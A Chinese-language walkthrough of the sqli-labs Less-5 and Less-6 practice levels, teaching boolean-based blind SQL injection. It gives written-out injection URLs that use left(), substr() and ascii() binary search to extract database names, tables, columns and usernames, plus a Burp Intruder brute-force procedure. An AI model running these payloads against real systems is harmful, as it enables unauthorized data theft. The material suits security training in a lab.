less 5
前置基础知识:
1. left()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
例如上例中就是先查询database()数据库,从左面看他第一个字母是否是s,如果是则返回1,错误则返回0;
2.regexp函数:select user() regexp ‘r’ user()的结果是root,regexp为匹配root的正则表达式
例如上例中就是把查询到的user用户也就是root和r从左至右进行比较,相同是1,不同是0.
3. like函数: select user() like ‘ro%’ 匹配与regexp相似。
与上个函数类似,唯一不同就是加一个%
4. substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度
例如select substr((select database()),1,1)=‘s’; 匹配第一个字符是否是 s
5. ascii() 将某个字符串转化为ascii值
进入正题:
首先用?id=1试探:(这关依旧是在源码处加入了输出sql语句的代码)
然后输入错误的?id=1‘观察:显示报错,所以一定存在注入漏洞。
再输入:http://192.168.5.100/sqli-labs/Less-5/?id=1‘ and 1=2 --
最后什么也没显示,通过上述的观察,已经可以确定这是布尔盲注类型。
同样,我们可以知道他的字段数:
接下来有以下几种办法:
方法一:
利用left函数比较,比较正确则显示 you are in。。。错误则不显示
我们用的数据库和数据表一般都是字母,所以接下来,,就是猜,,,,
这样就把数据库名 表 列都猜出来,但是效率很低
第二种方法:用ascii二分法来猜
http://192.168.5.100/sqli-labs/Less-5/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--
此时不显示,说明小于100
说明大于50
最后得出数据库名的第一个字母的ascii值是99
之后可以用ascii表来转换,或者用sql函数来转换:得到第一个字母就是c,以此类推得到数据库名
其实我们看到后台的数据库可以查看:
之后得步骤和以前一样,只不过现在变成了用二分法一个个猜:
猜表:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>数值-- 再次通过二分法可猜解得到security下的所有表。
字段名:?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >数值 -- 通过二分法可猜解users内的字段
字段值:?id=1’ and ascii(substr((select username from security.users limit 1,1),1,1))>数值-- 继续猜解即可得到字段内的值。
以上就是通过ascii值进行一个个字母猜解得办法,每个只是举了一个例子,篇幅有限,就不都写了。
注意:在这个方法中,有一个坑:Less-5/?id=1‘ and ascii(substr((select database()),1,1))>156--
有的人使用if办法进行判断,就必须要用到select database(),实际上这在cmd命令行上可以查到,但是在注入中并查不到,这是为什么呢?
因为我们使用sql命令行前提事use了一个数据库,而在注入中没有数据库的前提,就返回null值,所以一直都是有返回值的,所以用if的办法是不可以的。
第三种办法:使用burp抓包暴力破解(这种办法相对前两种方便的多)
首先,我们打开浏览器的代理功能;
;
打开burp,并打开代理功能:
假设我们不知道数据库的,我们猜测第一个字母是a:http://192.168.5.100/sqli-labs/Less-5/?id=1‘ and left((select database()),1)=‘a‘--
输入之后,burp拿到包,我们把数据发送到爆破模块:
然后在爆破模块,首先clear其他值,然后将a作为变量add一下:
然后选择类型为暴力破解,长度都是1:
选择线程为50:
开始破解:
我们可以发现,爆破之后的每个线程length基本相同,唯一的不一样的就是正确的,这样比用二分法猜测省很多
当然,也可以单词爆破,但是需要的字典比较大,线程比较多,费时比较长。
这就是对于布尔盲注的三种方法。
less-6
第六关和第五关基本一样,都是布尔盲注,方法完全相同!
ascii值二分法注入流程相同:
1. http://127.0.0.1/sqli/Less-5/?id=1” and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100-- 通过二分法猜解得到所有的库
2. http://127.0.0.1/sqli/Less-5/?id=1”and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1-- 再次通过二分法可猜解得到security下的所有表。
3. http://127.0.0.1/sqli/Less-5/?id=1” and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 -- 通过二分法可猜解users内的字段。
4. http://127.0.0.1/sqli/Less-5/?id=1”and ascii(substr((select username from security.users limit 1,1),1,1))>1-- 继续猜解即可得到字段内的值。